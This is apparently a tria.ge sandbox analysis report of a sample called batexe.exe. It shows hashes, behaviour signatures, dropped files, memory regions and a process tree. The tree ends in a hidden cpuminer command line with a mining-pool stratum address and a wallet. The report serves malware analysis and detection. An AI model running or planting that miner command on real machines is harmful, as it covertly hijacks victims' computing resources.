Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    297s
  • max time network
    306s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    13/02/2024, 13:53

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Users\Admin\AppData\Local\Temp\CF17.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\CF17.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CF17.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D457.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2452
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CF17.tmp\b2e.exe

    Filesize

    5.3MB

    MD5

    9052fdb24dd5c4b87faaa785c836d7a6

    SHA1

    f300f1f81a4001d1f8ae4196acf5a615fb859d21

    SHA256

    adf48aceaa3e2c7b9c55dcf36c9ef045f2f36ba5ee3596cee31e560e3323f60b

    SHA512

    6b4b6e3ebaa72cca6d091ead4b64d70ed06d6900e5aa56d445a2b5e353b29564b724047fd022766f85eb45caf3020a2109f81c55986f5fe1f96b48cf5399954d

  • C:\Users\Admin\AppData\Local\Temp\CF17.tmp\b2e.exe

    Filesize

    4.6MB

    MD5

    d916da47cf1a8b13b07ad9c8ffdcca78

    SHA1

    28eec211eb4856cc3790f4830484c9ab03923d16

    SHA256

    c7efdafed754c736cb119eda9bd96403396eeb4c9a503c957a01e72fb625759c

    SHA512

    ff3c3d54df6d4cd08f07aebbfc4878d945f79cf5dd993abb47443b11c89f87dfacf7beb9d8352b9175d1c2e01ad994374a48c4556e1286231a729c405c97313b

  • C:\Users\Admin\AppData\Local\Temp\D457.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    827KB

    MD5

    97e3a9b14d885f7c96c5ab9b25f9dd16

    SHA1

    9981da63bb0213a15eb32cc6e959e52ad96b4e21

    SHA256

    5d5081885cc7143dcb82740d565b5d3b1f6241e66a2e93726b17abaf41442ce4

    SHA512

    264ee76b12ea839b9cc4ca16da6e491a86c5a7dfe5bfd62ad9b6f2af62c85ceda697d4bdb08ac2e058f6ca6855352577b46fcd93327b3484228ce74f665c8921

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    927KB

    MD5

    74be4abcf01a67f1ffad77dc1b16d25f

    SHA1

    4cd961e0dcceb4db71a4de4b46b3ba17eb662cfe

    SHA256

    63adf2c479817fa03571b7fbdd300533343540adc32519ece4d4bb026348a6ae

    SHA512

    bac3ac851006e078a4289d68dd9ed35bf3b9383850768c24251484ecbe9801e9ee24164349908e4244cd89c9321533348069368871e6140d079d36b0fbd6baf0

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    111KB

    MD5

    a7621377c7f3fe43dfee5fea3024ca0b

    SHA1

    a361dcf3c931b676d184daa746cbdcc0efbd4799

    SHA256

    fd2d5e76622b89f2faffd1604f19a084260b2663939e3846703c1816763c1cb8

    SHA512

    a8c58f2fe785f0d3d48efbaa0426de5fdd2b35f2e28416f3493cd0bd517da53daa528e8a3956fa52eda954a39611062fb1b0076745fc852dbeb80cacb2b5b8f0

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    455KB

    MD5

    fab2f08109ccb507defd156841017607

    SHA1

    4e02ded5d23701c986c0ebbe3e226364d477679d

    SHA256

    986eb4ad37d7cfd6fe2ba1d424ab3acbc638499584c940e2a0d9333981b2d989

    SHA512

    73173670223ea07b59a1e2cabdac4f4ae5386cd58ac8fa381fe76dd9f73e7bc025de59bb712e29fd8b51f0ac16c2195992ac0fec87b4a408f745d346677ddf48

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    524KB

    MD5

    92693ee2e97270bb11878363e1e7ee8b

    SHA1

    7d4fbe85c50786ddb128776a2958a3ba0b19c07a

    SHA256

    975aad27580e51d8518c4a5071aa3c92d8f78cc40a1220c9d032e95ee5b62117

    SHA512

    9699eae5aad8b4a509f5a14c91784df16ff8b5f96bd3c889d857d123f3d68002a80ae14515430fee382cf35138012941ec3d6eab86d81c9a9bae945f7aa28427

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    800KB

    MD5

    ad7e8a0b35e0b8623b1de2ffdff29088

    SHA1

    3d040300b7aa472c898aa26eda5ddcf0ecd1fa6d

    SHA256

    ea9649c1826022ca18b5aea4300b84d907530600e650b5a1b0ab4cd33d63efa4

    SHA512

    8bc142227beaaa13a71677e0f1bb80012032fa6f696b975e09a96671a1d17feb48b6b8a46c2733110a9c17ab793b6680c7c3c9d3b410656f0e8729d283804171

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    562KB

    MD5

    4a618cb1ba748c2a643229c38d3244f3

    SHA1

    5180d25762f9134fdd5f856695570bc646755cd3

    SHA256

    26468970567f6c1b8e1634c895cd5346f00057a65901d13a86817fd0a11a26c4

    SHA512

    ebe7b37a35954da16f15eaabc1ad7c1b1a0996386e354fc464fcd31c00f4ae635615ca6a3fbb9339ebc0cb196e5baf5eb3ab0477f28c8c9e41a45c4065b3aae9

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    436KB

    MD5

    a47fc92ff01d3451fa0389d3f97fcd63

    SHA1

    0af5d3247011ea082e96e830c406234e461bf289

    SHA256

    37170b732aada94a19aa93ff5a752110eed0bde8e9107af302058ae86c1cd9bc

    SHA512

    09ffe90212e9f56dac7b91ea5061114f38a056beddad66fcf4100309f4b2e4776ea4e901d1bbeb4fd0f4cf8d1128ac3824c67817011299834e55154e1bb8f789

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    496KB

    MD5

    5adcc989c7e717e346805aed6f1c2402

    SHA1

    696cdbc4f4917d4b74d67f7e05a3ac15248484cf

    SHA256

    8d135f216f8cdab5f3bcca28ef0d9510721f4e315a5e41a4a33bcfd69110a5a2

    SHA512

    e49a75431d1dbc4854f7ef67912ffe23e45f45ef57534f1bba7bd0eb8f7633d6af50290d82fa473704f599885f832fa5f7a4cff265b0bac071728818d4e0d376

  • memory/1532-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1532-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-42-0x0000000077A60000-0x0000000077AF8000-memory.dmp

    Filesize

    608KB

  • memory/1532-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1532-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/1532-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1532-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1584-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4776-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4776-6-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB